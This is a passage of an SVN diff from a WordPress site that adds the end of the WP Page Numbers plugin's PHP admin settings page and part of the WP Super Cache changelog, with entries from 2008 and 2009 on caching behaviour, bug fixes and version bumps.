+		<td><strong>Default text: </strong>&gt;</td>
+		<td colspan="3">
+			<input name="nextpage" type="text" style="width:100%;" value="<?php echo $nextpage; ?>" />
+		</td>
+	</tr>
+</table>
+</div>
+		
+<div class="wrap">
+<h2>Settings - show / hide</h2>
+<table style="width: 100%;" border="0">
+	
+	<tr>
+		<td style="width: 400px;"><strong>Show page info</strong></td>
+		<td>
+			<input type="checkbox" name="page_of_page" <?php
+			if($page_of_page == "on" || $page_of_page == "")
+			{
+				echo 'checked="checked"';
+			}
+			?>/> Page 3 of 5
+		</td>
+	</tr>
+	
+	<tr>
+		<td><strong>Show next / previous page text</td>
+		<td>
+			<input type="checkbox" name="next_prev_text" <?php
+			if($next_prev_text == "on" || $next_prev_text == "")
+			{
+				echo 'checked="checked"';
+			}
+			?>/> &lt; &gt;
+		</td>
+	</tr>
+	
+	<tr>
+		<td><strong>Show start and end numbers</td>
+		<td>
+			<input type="checkbox" name="show_start_end_numbers" <?php
+			if($show_start_end_numbers == "on" || $show_start_end_numbers == "")
+			{
+				echo 'checked="checked"';
+			}
+			?>/> 1... ...5
+		</td>
+	</tr>
+	
+	<tr>
+		<td><strong>Show page numbers</td>
+		<td>
+			<input type="checkbox" name="show_page_numbers" <?php
+			if($show_page_numbers == "on" || $show_page_numbers == "")
+			{
+				echo 'checked="checked"';
+			}
+			?>/> 34567
+		</td>
+	</tr>
+</table>
+</div>
+
+<div class="wrap">
+<h2>Settings - Misc</h2>
+<table style="width: 100%;" border="0">
+	<tr>
+		<td style="width: 400px;"><strong>Number of pages to show: </strong>10 (0 = unlimited)</td>
+		<td colspan="3">
+			<input name="limit_pages" type="text" style="width:100%;" value="<?php echo $limit_pages; ?>" />
+		</td>
+	</tr>
+</table>
+</div>
+
+<div class="wrap">
+<h2>Instructions - Code to add to your theme</h2>
+	<p>Add the code where you find <code>previous_post()</code> and <code>next_post()</code> functions. If you can't find these tags, place the code between <code>endwhile;</code> and <code>endif;</code> in the_loop.</p>
+	<table>
+		<tr>
+			<td><strong>Code to add in your theme</strong></td>
+		</tr>
+		<tr>
+			<td colspan="2"><code>&lt;?php if(function_exists('wp_page_numbers')) : wp_page_numbers(); endif; ?&gt;</code><br /><br /></td>
+		</tr>
+		<tr>
+			<td><strong>Advanced (optional) settings</strong><br /><br /></td>
+		</tr>
+		<tr>
+			<td style="width: 400px;"><strong>Syntax:</strong> <code>wp_page_numbers($start, $end);</code></td>
+			<td><strong>Example:</strong> <code>wp_page_numbers("&lt;div class='start'&gt;", "&lt;/div&gt;");</code></td>
+		</tr>
+	</table>
+</div>
+
+<div class="wrap">
+<h2>Instructions - Settings</h2>
+	<p>Most of the settings are already set to a default value if blank.</p>
+	<table>
+		<tr>
+			<td><strong>Text options</strong></td>
+		</tr>
+		<tr>
+			<td>You can set all the texts to what ever you like, except the numbers. They will still be numbers.<br /><br /></td>
+		</tr>
+		
+		<tr>
+			<td><strong>Number of pages to show</strong></td>
+		</tr>
+		<tr>
+			<td>This will limit your paging menu. Set a of maximum amount of pages to be displayed at the same time. If the textfield is blank, 10 is set by default. If 0 is set, it will not limit the paging.<br /><br /></td>
+		</tr>
+		<tr>
+			<td><strong>Theme folder name</strong></td>
+		</tr>
+		<tr>
+			<td>
+				<ol>
+					<li>Copy one of the theme folders</li>
+					<li>Edit the '<strong>wp-page-numbers.css</strong>' to make your changes</li>
+					<li>Rename your folder copy to a theme name</li>
+					<li>Upload your folder into '<strong>wp-content/plugins/wp-page-numbers/</strong>'</li>
+					<li>Set your '<strong>Theme folder name</strong>' in admin '<strong>Settings / WP Page Numbers</strong>'</li>
+					<li>'<strong>Update settings</strong>'. Done!</li>
+				</ol>
+			</td>
+		</tr>
+	</table>
+
+	<p class="submit">
+		<input name="submitted" type="hidden" value="yes" />
+		<input type="submit" name="Submit" value="Update Settings &raquo;" />
+	</p>
+</form>
+</div><?php 
+}
+
+function wp_page_numbers_add_to_menu() {
+    add_submenu_page('options-general.php', 'WP Page Numbers Options', 'Page Numbers', 10, __FILE__, 'wp_page_numbers_settings');
+}
+add_action('admin_menu', 'wp_page_numbers_add_to_menu');
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/Changelog.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/Changelog.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-super-cache/Changelog.txt	(revision 44)
@@ -0,0 +1,2048 @@
+2009-07-17 15:30  donncha
+
+	* readme.txt: Added changelog to readme.txt
+
+2009-07-17 15:22  donncha
+
+	* readme.txt, wp-cache.php: Bump version to 0.9.5
+	  Bump tested version to 2.8.1
+
+2009-07-17 15:19  donncha
+
+	* wp-cache-phase1.php, wp-cache-phase2.php, wp-cache.php: Don't
+	  serve wp_cached cache files to rejected USER AGENTs
+
+2009-07-17 15:08  donncha
+
+	* wp-cache.php: Show next and last GC times in minutes, not local
+	  times
+
+2009-07-02 17:21  donncha
+
+	* wp-cache-phase2.php: Rearrange checks for cache files.
+
+2009-06-25 21:01  donncha
+
+	* wp-cache-phase2.php: Hide filemtime warnings
+
+2009-06-19 15:07  donncha
+
+	* wp-cache-phase1.php: Don't check the filesize or mtime
+
+2009-06-19 13:02  donncha
+
+	* wp-cache-phase1.php, wp-cache-phase2.php: Don't check file age
+	  when serving cached content - it will be deleted by ordinary
+	  updates or by garbage collection
+	  Check file age of each cache file only when regenerating (and
+	  only to check if file was recently recreated)
+
+2009-06-19 09:03  donncha
+
+	* wp-cache.php: Updated blurb
+
+2009-06-19 09:01  donncha
+
+	* Changelog.txt: Updated changelog
+
+2009-06-18 12:34  donncha
+
+	* wp-cache-phase2.php: Typos in closing and unlink commands
+
+2009-06-12 10:47  donncha
+
+	* readme.txt, wp-cache-config-sample.php, wp-cache-phase1.php,
+	  wp-cache.php: Bump tested version to 2.8
+	  Applied patch to fix PHP warnings by Matt Martz,
+	  http://sivel.net/
+
+2009-06-10 22:46  donncha
+
+	* wp-cache-phase1.php: Forgot the mobile whitelist
+
+2009-06-05 17:04  donncha
+
+	* wp-cache-phase1.php: Use cookies action instead of cache_key so
+	  that supercache files aren't generated by anon mobile users
+
+2009-06-05 15:12  donncha
+
+	* wp-cache-config-sample.php, wp-cache.php: Added "Android" mobile
+	  user agent, thanks Matt Martz/sivel
+
+2009-06-05 12:27  donncha
+
+	* readme.txt, wp-cache.php: Don't force the plugin into "half on"
+	  mode if mobile support selected.
+	  Added rewrite rules so that mobile devices are ignored by static
+	  cache.
+	  Thanks Vladimir Prelovac for bugging me about this.
+
+2009-05-29 08:40  donncha
+
+	* wp-cache-phase1.php: Ignore the WP test cookie, props Jay @
+	  http://jay.gooby.org/post/nginx-wp-super-cache-not-writing-cache-files-solved
+
+2009-05-26 09:55  donncha
+
+	* wp-cache-phase2.php: Use blog's html type rather than text/html,
+	  props Weston Ruter
+
+2009-05-26 09:25  donncha
+
+	* wp-cache-phase1.php, wp-cache-phase2.php: Cache the REQUEST_URI
+	  in $wp_cache_request_uri in case a plugin overwrites it.
+
+2009-05-21 13:12  donncha
+
+	* wp-cache.php: Add newlines to mod_rewrite rules
+
+2009-05-19 11:21  donncha
+
+	* readme.txt: Updated recent changes list
+
+2009-05-19 11:18  donncha
+
+	* readme.txt: Updated docs for DONOTCACHEPAGE constant
+
+2009-05-19 11:15  donncha
+
+	* wp-cache.php: Added "WPSC_DISABLE_COMPRESSION" constant so
+	  hosting companies can disable compression in wp-super-cache
+
+2009-05-19 11:04  donncha
+
+	* wp-cache.php: Added "WPSC_DISABLE_LOCKING" constant so hosting
+	  companies can disable file locking sitewide
+
+2009-05-19 10:19  donncha
+
+	* wp-cache-phase2.php: Added "DONOTCACHEPAGE" constant so plugins
+	  can specify pages that should not be cached.
+
+2009-05-11 13:35  donncha
+
+	* wp-cache.php: Use PHP_DOCUMENT_ROOT in .htaccess rules if set,
+	  props Adrian Ott @ Mosso
+
+2009-04-25 06:30  donncha
+
+	* Changelog.txt: Updated changelog
+
+2009-04-25 06:30  donncha
+
+	* readme.txt, wp-cache.php: Bumped version number to 0.9.4.3
+
+2009-04-23 20:04  donncha
+
+	* wp-cache-phase2.php: Move mutex init above actions again
+
+2009-04-22 11:34  donncha
+
+	* readme.txt, wp-cache.php: Bump version number to 0.9.4.2
+
+2009-04-22 11:06  donncha
+
+	* wp-cache-phase2.php: Move check for logged in user after actions
+	  are defined, otherwise cache files aren't updated. See
+	  http://wordpress.org/support/topic/264090?replies=2
+
+2009-04-21 19:53  donncha
+
+	* Changelog.txt: Updated changelog
+
+2009-04-21 19:53  donncha
+
+	* readme.txt, wp-cache.php: Bumped version to 0.9.4.1
+
+2009-04-21 19:52  donncha
+
+	* wp-cache.php: Oops, make sure the "don't cache if logged in"
+	  checkbox can be unchecked!
+	  Clear the cache when it's enabled
+
+2009-04-21 15:46  donncha
+
+	* Changelog.txt: Updated changelog
+
+2009-04-21 15:45  donncha
+
+	* readme.txt: Updated recent changes
+
+2009-04-21 15:44  donncha
+
+	* Changelog.txt: Updated changelog
+
+2009-04-21 15:43  donncha
+
+	* readme.txt, wp-cache.php: Bumped version number to 0.9.4
+
+2009-04-21 11:46  donncha
+
+	* wp-cache.php: Minor docs update
+
+2009-04-20 09:25  donncha
+
+	* wp-cache-phase2.php: Check that user is logged in before not
+	  caching
+
+2009-04-20 08:49  donncha
+
+	* wp-cache-phase2.php, wp-cache.php: Added "Don't cache for logged
+	  in users" option
+
+2009-04-18 22:03  donncha
+
+	* readme.txt: Updated donation link
+
+2009-04-15 16:38  donncha
+
+	* wp-cache.php: Display file size stats on admin page
+
+2009-04-15 15:27  donncha
+
+	* wp-cache-phase2.php: Clear the cache when the profile is updated.
+	  Props djquinn http://wordpress.org/support/topic/261504?replies=6
+	  http://www.dquinn.net/wp-super-cache-preview-draft-update-profile-wordpress/
+
+2009-04-15 15:25  donncha
+
+	* wp-cache-phase1.php: Don't cache post previews
+
+2009-04-14 14:10  donncha
+
+	* wp-cache-config-sample.php, wp-cache.php: Added backslashes to
+	  rejected URI. See
+	  http://wordpress.org/support/topic/260790?replies=10#post-1045412
+
+2009-04-06 14:17  donncha
+
+	* Changelog.txt: Updated changelog to 0.9.3.1
+
+2009-04-06 14:16  donncha
+
+	* readme.txt, wp-cache.php: Bump version to 0.9.3.1
+
+2009-04-06 14:16  donncha
+
+	* readme.txt: Added link to forum thread on posting problems in
+	  0.9.3
+
+2009-04-06 14:11  donncha
+
+	* readme.txt: Added "Recent Changes" section to start of readme.txt
+	  to make life easier on those upgrading
+
+2009-04-05 22:15  donncha
+
+	* advanced-cache.php: Don't show broken path message in wp-admin.
+	  Check if file is missing before showing an error
+
+2009-04-05 21:51  donncha
+
+	* wp-cache-phase1.php: Return true so the include_once() returns
+	  true. Fixes problem with saving posts
+
+2009-04-05 18:53  donncha
+
+	* wp-cache-phase2.php: Clear the supercache when all cache is
+	  cleared on post edit.
+
+2009-04-05 18:53  donncha
+
+	* advanced-cache.php: whitespace cleanup
+
+2009-04-05 09:36  donncha
+
+	* Changelog.txt: Updated changelog
+
+2009-04-05 08:25  donncha
+
+	* wp-cache-phase2.php: Hide any potential opendir warnings
+
+2009-04-04 11:40  donncha
+
+	* Changelog.txt: Updated Changelog to 0.9.3
+
+2009-04-04 11:40  donncha
+
+	* readme.txt, wp-cache.php: Bump version number to 0.9.3
+
+2009-04-04 11:23  donncha
+
+	* wp-cache.php: Minor change in cache rebuild and mutex option text
+
+2009-04-04 11:15  donncha
+
+	* wp-cache-phase1.php: Cache files for single blogs go in cache/,
+	  MU cache files go in cache/blogs/
+
+2009-04-03 15:01  donncha
+
+	* wp-cache-config-sample.php, wp-cache.php: "Cache rebuild" feature
+	  is now on by default
+	  File locks are off by default
+	  Change language on admin page to "Enable file locking" instead of
+	  "Disable..."
+
+2009-04-02 19:56  donncha
+
+	* wp-cache-phase2.php: Get rid of more get_option() calls in the
+	  shutdown function
+
+2009-04-02 13:42  donncha
+
+	* wp-cache-phase1.php, wp-cache-phase2.php, wp-cache.php: Added a
+	  blog cache dir. WordPress MU blogs will be cached into different
+	  directories.
+	  Regular WP will cache into cache/blogs/ instead of cache/
+
+2009-04-02 13:41  donncha
+
+	* readme.txt: Update docs:
+	  1. new signature on page.
+	  2. Minor text changes
+
+2009-04-02 11:49  donncha
+
+	* wp-cache-phase2.php: Removed errlog
+
+2009-04-02 11:09  donncha
+
+	* wp-cache-phase2.php: Check if rejected uri expr is a blank. See
+	  http://justinblanton.com/2009/03/broken-wp-super-cache
+
+2009-04-01 11:46  donncha
+
+	* wp-cache-phase2.php: Added "wp_cache_rebuild_or_delete()"
+	  function to delete or create rebuild cache files
+
+2009-03-31 10:56  donncha
+
+	* readme.txt: Minor docs update
+
+2009-03-31 10:53  donncha
+
+	* readme.txt: Updated docs to stress that wp-cached files are "good
+	  enough" for most people.
+
+2009-03-31 10:46  donncha
+
+	* advanced-cache.php, readme.txt: Added "wpcache_broken_message()"
+	  and code to catch when path in advanced-cache.php is broken.
+
+2009-03-31 10:32  donncha
+
+	* wp-cache.php: Check if admin_url exists. Not everyone updates
+	  WordPress.
+
+2009-03-31 10:31  donncha
+
+	* wp-cache-phase2.php: In post change, remove corrupted or obsolete
+	  meta and cache files
+
+2009-03-31 10:30  donncha
+
+	* Changelog.txt: Updated changelog.txt
+
+2009-03-30 16:12  donncha
+
+	* wp-cache-phase2.php: Added an "auto reject" list of URIs
+
+2009-03-30 06:22  donncha
+
+	* wp-cache-phase1.php: Remove corrupted or obsolete meta file and
+	  cache file.
+
+2009-03-30 04:53  donncha
+
+	* wp-cache-phase1.php, wp-cache-phase2.php: Don't use array_push().
+	  Removed wp_cache_file_contents action as it may contribute to
+	  memory problems for some hosts.
+	  Pass buffer by reference to ob function.
+	  Revert merge of shutdown function and ob function
+	  Pass "siteurl" to post_id gc function
+
+2009-03-29 16:32  donncha
+
+	* wp-cache-phase1.php: Make sure $meta is an array
+
+2009-03-28 13:03  donncha
+
+	* Changelog.txt: Updated changelog
+
+2009-03-28 13:02  donncha
+
+	* readme.txt, wp-cache.php: Bump version number to 0.9.2
+
+2009-03-28 12:58  donncha
+
+	* readme.txt: Added a troubleshooting entry for advanced-cache.php
+
+2009-03-28 12:54  donncha
+
+	* advanced-cache.php: Include once instead of require because it
+	  won't cause a FATAL error if the path is incorrect
+
+2009-03-28 12:39  donncha
+
+	* readme.txt: Minimum version is now 2.6, props tigertech,
+	  http://wordpress.org/support/topic/255628?replies=1
+
+2009-03-28 12:34  donncha
+
+	* wp-cache-phase2.php: Delete static "pages on front" when posts
+	  change.
+
+2009-03-28 12:30  donncha
+
+	* readme.txt: Move uninstall instructions up
+	  Added "If all else fails" instructions
+
+2009-03-21 21:15  donncha
+
+	* wp-cache.php: Added "Settings" link on plugins page.
+	  Simplified admin notice, may fix 500 internal errors
+
+2009-03-21 21:13  donncha
+
+	* wp-cache-phase1.php, wp-cache-phase2.php, wp-cache.php: Revert
+	  moving meta information into cache file. It took too long to scan
+	  the directory
+
+2009-03-20 15:34  donncha
+
+	* wp-cache-phase2.php: Unlink supercache cache files as well as
+	  wp-cache files
+
+2009-03-20 15:33  donncha
+
+	* wp-cache-phase2.php: No need for separate $log variable
+
+2009-03-20 15:31  donncha
+
+	* wp-cache-phase2.php: $supercacheonly is set further up
+
+2009-03-20 15:30  donncha
+
+	* wp-cache-phase2.php: Minor typos "attac"
+	  Removed unused function
+
+2009-03-20 15:28  donncha
+
+	* wp-cache-phase2.php: Make sure other actions have a chance to
+	  mark comments as spam
+
+2009-03-13 22:19  donncha
+
+	* wp-cache-phase1.php: Don't need that error_log
+
+2009-03-13 11:41  donncha
+
+	* wp-cache-phase1.php, wp-cache-phase2.php, wp-cache.php: Make meta
+	  an array rather than an object because of this change to PHP5:
+	  http://bugs.php.net/bug.php?id=40104
+	  Move meta file data into cache file.
+
+2009-03-13 09:06  donncha
+
+	* wp-cache-phase2.php: Move wp_cache_shutdown_callback() into the
+	  ob callback
+
+2009-03-09 09:52  donncha
+
+	* wp-cache.php: Only check for apache modules if in supercache
+	  mode.
+
+2009-02-27 09:55  donncha
+
+	* plugins/badbehaviour.php: Note that compression disabled when BB
+	  support enabled.
+
+2009-02-27 09:46  donncha
+
+	* plugins/badbehaviour.php: Bad-behavior fixes. Plugin will find
+	  the bb plugin folder now.
+
+2009-02-26 12:55  donncha
+
+	* wp-cache-phase1.php: set the right variable.
+
+2009-02-26 11:53  donncha
+
+	* Changelog.txt: Updated changelog, should have svnupped last time
+
+2009-02-26 11:53  donncha
+
+	* Changelog.txt: Updated changelog
+
+2009-02-26 11:51  donncha
+
+	* readme.txt, wp-cache.php: Bump version to 0.9.1
+
+2009-02-26 11:35  donncha
+
+	* readme.txt: Updated docs on "expired pages" and the required
+	  modules needed to serve new data
+
+2009-02-26 11:23  donncha
+
+	* wp-cache.php: Remove "experimental" heading.
+
+2009-02-26 11:07  donncha
+
+	* wp-cache.php: Added "About the author" box to admin page.
+
+2009-02-19 16:07  donncha
+
+	* wp-cache.php: Make the donation box hidable.
+
+2009-02-19 15:46  donncha
+
+	* wp-cache.php: Added donation button, yes my html skills suck.
+
+2009-02-19 15:00  donncha
+
+	* wp-cache.php: Match IP against 192.168 instead of 192.
+
+2009-02-19 13:43  donncha
+
+	* readme.txt, wp-cache.php: Added checks for hostname = 127.x.x.x
+	  or 192.x.x.x or if available uses wp_remote_get() to load
+	  wp-cron.php
+	  Gives warning if checks fail
+	  Updated readme.txt with docs on how to resolve. Thanks to Joost
+	  de Valk for help debugging this. http://yoast.com/wp-cron-issues/
+
+2009-02-19 13:34  donncha
+
+	* wp-cache-phase2.php: Hide file op warning.
+	  Removed register_shutdown command that's not used any more
+
+2009-02-19 11:48  donncha
+
+	* wp-cache.php: Hide rename warning. Possibly related to no global
+	  lock.
+
+2009-02-17 13:04  donncha
+
+	* Changelog.txt: Updated changelog
+
+2009-02-17 12:58  donncha
+
+	* wp-cache-phase2.php: Don't show no HTML tag warning for
+	  robots.txt, http://wordpress.org/support/topic/243904?replies=1
+
+2009-02-17 12:36  donncha
+
+	* wp-cache.php: Clear the supercache folder when it's disabled.
+	  Remove the .disabled folder if a supercache folder exists.
+	  Show Last and Next garbage collection times as UTC
+	  Added an admin notice on the plugins page if wp-super-cache
+	  caching is disabled
+	  Add plugin notice below plugin row if caching is disabled
+
+2009-02-17 12:34  donncha
+
+	* wp-cache-phase2.php: Hide some filemtime() warnings. Without a
+	  global file lock we'll get more of these.
+
+2009-02-17 12:33  donncha
+
+	* plugins/badbehaviour.php: Disable the supercache if Bad Behaviour
+	  support is enabled.
+
+2009-02-14 11:48  donncha
+
+	* readme.txt: Updated tag and added Donation link
+
+2009-02-06 10:48  donncha
+
+	* wp-cache-phase1.php, wp-cache-phase2.php: Just use the output
+	  buffer, no shutdown functions.
+
+2009-02-05 20:53  donncha
+
+	* wp-cache-phase2.php: No need to call this callback twice!
+
+2009-02-05 15:32  donncha
+
+	* wp-cache-config-sample.php: Remove any slashes left in the
+	  blogcacheid
+
+2009-02-05 13:36  donncha
+
+	* wp-cache.php: Replace blashslashes in WP_CONTENT_DIR here,
+	  possible Win32 fix
+
+2009-02-05 10:20  donncha
+
+	* readme.txt: Added "UserOnline" to the list of plugins that don't
+	  update when a page is cached
+
+2009-02-05 09:55  donncha
+
+	* wp-cache.php: Replace backslashes in WP_CONTENT_DIR too. Win32
+	  fix. props Chris (beerfan)
+
+2009-02-04 21:49  donncha
+
+	* wp-cache-config-sample.php, wp-cache-phase2.php: Added
+	  $wp_cache_shutdown_gc config option to use shutdown instead of
+	  wp-cron
+	  Added comments on config options
+
+2009-02-04 20:38  donncha
+
+	* wp-cache-phase2.php: Don't create empty supercache directories.
+
+2009-02-04 10:25  donncha
+
+	* readme.txt: Troubleshooting updates: advanced-cache.php, cache on
+	  NFS warning
+
+2009-02-03 21:53  donncha
+
+	* plugins/badbehaviour.php, wp-cache-phase1.php: Things act strange
+	  when a function has a require_once(), even if it's never reached
+
+2009-02-03 21:41  donncha
+
+	* plugins/badbehaviour.php, plugins/searchengine.php,
+	  wp-cache-config-sample.php, wp-cache-phase1.php: Added Bad
+	  Behaviour plugin
+	  Allow SuperCache plugin directory to be relocated. See
+	  $wp_cache_plugins_dir in config file.
+	  Fixed updating Active status of searchengine plugin
+	  Added new cacheactions:
+	  'wp_cache_served_cache_file' activated just before headers are
+	  sent for an existing cache file.
+	  'wp_cache_file_contents' filter that every wp-cache cache file is
+	  sent through. (ignoring mfunc)
+
+2009-02-03 12:11  donncha
+
+	* wp-cache-phase1.php: Clean and echo the buffer
+
+2009-02-03 11:49  donncha
+
+	* wp-cache-phase1.php, wp-cache-phase2.php: Register supercache
+	  shutdown function right at the start of the process so it's
+	  executed before WP objects are destroyed
+
+2009-02-02 15:48  donncha
+
+	* wp-cache-phase2.php: Don't register shutdown function, call it
+	  from the output buffer callback.
+
+2009-02-02 09:58  donncha
+
+	* wp-cache-phase2.php: Don't read files into an array, reverting
+	  [86134]
+
+2009-01-29 17:19  donncha
+
+	* wp-cache.php: Remove double slashes from inst_root
+
+2009-01-29 16:28  donncha
+
+	* wp-cache.php: Guess the install root properly
+
+2009-01-29 14:25  donncha
+
+	* wp-cache-phase2.php: Revert prune_super_cache and
+	  garbage_collection code.
+
+2009-01-29 06:41  donncha
+
+	* wp-cache.php: Fix caching for blogs installed in sub dirs. See
+	  http://wordpress.org/support/topic/238022?replies=6
+
+2009-01-27 19:57  donncha
+
+	* wp-cache-phase2.php: Only rename the tmp cache file when it's
+	  created.
+	  Hide warnings about renames and unlinks
+
+2009-01-27 06:18  donncha
+
+	* Changelog.txt: Updated changelog
+
+2009-01-27 06:17  donncha
+
+	* readme.txt, wp-cache.php: Bump version to 0.9
+
+2009-01-27 06:17  donncha
+
+	* wp-cache-phase2.php: Bring back mfunc code
+
+2009-01-27 05:53  donncha
+
+	* wp-cache-phase2.php, wp-cache.php: Set GC to 10 minutes instead
+	  of 30.
+
+2009-01-26 20:08  donncha
+
+	* wp-cache.php: Show last and next garbage collection times
+
+2009-01-26 18:11  donncha
+
+	* wp-cache.php: Make sure constant value is displayed, props
+	  Jonathan Dingman
+
+2009-01-26 17:32  donncha
+
+	* wp-cache-phase1.php: Update mobile "enabled" variable
+
+2009-01-26 17:32  donncha
+
+	* wp-cache-phase2.php: Don't send gzip headers if headers already
+	  sent
+
+2009-01-26 13:00  donncha
+
+	* wp-cache-config-sample.php, wp-cache-phase2.php, wp-cache.php:
+	  Removed "dynamic caching" that isn't documented anywhere any more
+	  Fixed activate bugs with mobile device support
+
+2009-01-26 11:12  donncha
+
+	* wp-cache-config-sample.php, wp-cache-phase1.php, wp-cache.php:
+	  Mobile device support via
+	  http://wordpress.org/extend/plugins/wordpress-mobile-edition/ by
+	  Alex King
+
+2009-01-26 10:03  donncha
+
+	* readme.txt: Added extra FAQs
+
+2009-01-25 11:21  donncha
+
+	* wp-cache-phase2.php, wp-cache.php: Admin page updates
+	  If expiry time is over 30 minutes, set garbage collection to 30
+	  minutes, else expiry time
+
+2009-01-25 09:11  donncha
+
+	* wp-cache-phase2.php: If supercache enabled, Don't create wp-cache
+	  files for anonymous users. Should cut down cached files by half
+	  ore more.
+
+2009-01-25 07:56  donncha
+
+	* wp-cache-phase2.php: Warn if cache expiry cron job took longer
+	  than 30 seconds, props SiriusBuzz
+
+2009-01-25 07:49  donncha
+
+	* advanced-cache.php, wp-cache-phase2.php, wp-cache.php:
+	  advanced-cache.php will load the phase1.php even in relocated
+	  plugin folders now. (NOTE. Must be updated if plugin folder
+	  changes)
+	  Removed error_log()
+
+2009-01-24 06:03  donncha
+
+	* wp-cache.php: Update advanced-cache.php message, props Jonathan
+	  Dingman
+
+2009-01-23 19:10  donncha
+
+	* Changelog.txt: Updated Changelog for 0.8.9
+
+2009-01-23 19:09  donncha
+
+	* readme.txt, wp-cache.php: Bump version number to 0.8.9 and update
+	  documentation
+
+2009-01-23 18:34  donncha
+
+	* wp-cache.php: Updated text
+
+2009-01-23 12:43  donncha
+
+	* wp-cache-phase2.php, wp-cache.php: Set garbage collection to 10
+	  seconds after expiry
+
+2009-01-23 12:13  donncha
+
+	* wp-cache.php: mutext variable needs to be global
+
+2009-01-23 12:06  donncha
+
+	* advanced-cache.php, wp-cache.php: Added "advanced-cache.php"
+	  which will load wp-cache-phase1.php
+	  Copy that file to wp-content/ instead of symlinking
+	  Added checkboxes for "cache rebuild" and "disable file locking"
+	  remove #list anchor tag
+
+2009-01-22 11:26  donncha
+
+	* wp-cache-phase2.php: Delete lots more cache files in one go, for
+	  busy sites
+
+2009-01-21 13:42  donncha
+
+	* wp-cache-phase2.php: Removed "cron job called" debug message
+
+2009-01-21 13:05  donncha
+
+	* wp-cache.php: Show all sections of the admin page by default.
+	  Move cache contents up
+
+2009-01-20 11:23  donncha
+
+	* wp-cache.php: Admin page UI update, props Robert Wolf
+
+2009-01-19 18:29  donncha
+
+	* wp-cache-config-sample.php: Comment out $wp_cache_mutex_disabled
+	  by default
+
+2009-01-19 18:27  donncha
+
+	* wp-cache-config-sample.php, wp-cache-phase2.php: Allow mutex file
+	  locking to be disabled
+
+2009-01-19 18:18  donncha
+
+	* wp-cache.php: Fix the favourites if a non admin users logs in
+
+2009-01-16 17:04  donncha
+
+	* Changelog.txt: Updated Changelog
+
+2009-01-16 17:03  donncha
+
+	* wp-cache-config-sample.php, wp-cache-phase1.php,
+	  wp-cache-phase2.php: Added simple DEBUG mode. Activate by setting
+	  $wp_cache_debug to your email address in wp-cache-config.php
+	  Sends debug emails on: cron job, failed job, when gzip headers
+	  are missing from wp-cache meta file.
+
+2009-01-16 16:14  donncha
+
+	* readme.txt, wp-cache.php: Bump version to 0.8.8
+
+2009-01-16 16:10  donncha
+
+	* wp-cache.php: Added "Delete Cache" link to Favourites menu
+
+2009-01-15 23:16  donncha
+
+	* wp-cache-phase2.php: We clean up files as well as directories.
+	  Should fix issue with non-updating blogs
+
+2009-01-14 22:47  donncha
+
+	* wp-cache-config-sample.php, wp-cache-phase1.php,
+	  wp-cache-phase2.php: Remove debugging code
+
+2009-01-14 18:51  donncha
+
+	* wp-cache-config-sample.php, wp-cache-phase1.php,
+	  wp-cache-phase2.php: Lots of debug code
+
+2009-01-14 14:33  donncha
+
+	* readme.txt: Updated the "How do I know my blog is being cached?"
+	  FAQ
+
+2009-01-12 17:51  donncha
+
+	* wp-cache-phase2.php: Don't overwrite $dh directory handler
+
+2009-01-12 17:38  donncha
+
+	* wp-cache-phase2.php: When reading large directories, create array
+	  of files. The opendir handle seems to die.
+
+2009-01-11 09:16  donncha
+
+	* wp-cache-phase2.php, wp-cache.php: Use opendir()/readdir()
+	  instead of glob()
+
+2009-01-09 21:16  donncha
+
+	* wp-cache-phase2.php: Minor typo
+
+2009-01-09 11:04  donncha
+
+	* Changelog.txt: Updated changelog
+
+2009-01-09 11:04  donncha
+
+	* readme.txt, wp-cache.php: Bump version to 0.8.7
+
+2009-01-09 10:59  donncha
+
+	* wp-cache-phase2.php, wp-cache.php: Change default expiry time to
+	  10 minutes
+	  Only clean out 100 files at a time. Should help with very large
+	  sites.
+	  Fix file pointer.
+
+2008-12-05 09:57  donncha
+
+	* wp-cache.php: Fix term -> meta typo, props kettari,
+	  http://wordpress.org/support/topic/222613?replies=1
+
+2008-12-04 18:13  donncha
+
+	* Changelog.txt: Updated changelog for 0.8.6
+
+2008-12-04 18:12  donncha
+
+	* wp-cache-phase1.php: Added "WP-Super-Cache: WP-Cache" header for
+	  cached php files.
+
+2008-12-04 17:59  donncha
+
+	* readme.txt, wp-cache.php: Bump version numberb to 2.7
+
+2008-12-04 17:44  donncha
+
+	* wp-cache.php: Hide unlink errors
+
+2008-12-04 16:53  donncha
+
+	* wp-cache-phase2.php: Use uniqid() instead of tempnam() to
+	  generate temporary filenames.
+	  No need for chmod.
+	  Fixed minor typo
+
+2008-12-04 13:40  donncha
+
+	* wp-cache-phase2.php: Record time of cache generation
+
+2008-12-04 13:27  donncha
+
+	* readme.txt: Added Apache configuration docs on AllowOverride
+
+2008-12-02 11:00  donncha
+
+	* wp-cache.php: If WP_CACHE is not enabled, but the define() line
+	  is in wp-config.php, stop, because it's probably commented out.
+
+2008-12-01 11:38  donncha
+
+	* wp-cache-phase2.php: Abort caching if plugin can't write to any
+	  cache file, and report error
+	  $gzsize may not survive to shutdown callback. Get the filesize
+	  again
+
+2008-12-01 11:37  donncha
+
+	* wp-cache-phase1.php: Push the headers into the headers array, not
+	  the meta object
+
+2008-11-25 12:58  donncha
+
+	* Changelog.txt: Updated changelog
+
+2008-11-25 12:58  donncha
+
+	* readme.txt, wp-cache.php: Bump version number to 0.8.5
+
+2008-11-25 12:45  donncha
+
+	* wp-cache-phase2.php: Added "supercache_dir" filter so supercache
+	  directory can be modified.
+
+2008-11-25 12:40  donncha
+
+	* wp-cache-phase2.php: Removed backslashes from the supercache
+	  filename
+
+2008-11-25 12:27  donncha
+
+	* wp-cache.php: Warn if Apache modules are missing.
+	  Display gzip cache rewrite rules.
+	  Deal with WordPress MU better as it can't upgrade the .htaccess
+	  file.
+
+2008-11-25 12:24  donncha
+
+	* wp-cache-phase1.php: Added wp_cache_key cacheaction to modify
+	  cache key (ie. add user agent, IP, etc)
+
+2008-11-25 11:10  donncha
+
+	* wp-cache-phase1.php, wp-cache-phase2.php: Check that cache file
+	  exists before serving, it may have been removed without the meta
+	  file
+
+2008-11-25 11:01  donncha
+
+	* wp-cache-phase2.php: Removed $gzipped variable
+
+2008-11-25 10:54  donncha
+
+	* wp-cache-phase2.php: No need to addslashes() to file functions
+
+2008-11-14 13:20  donncha
+
+	* wp-cache-phase2.php: Added wpsupercache_buffer filter so buffer
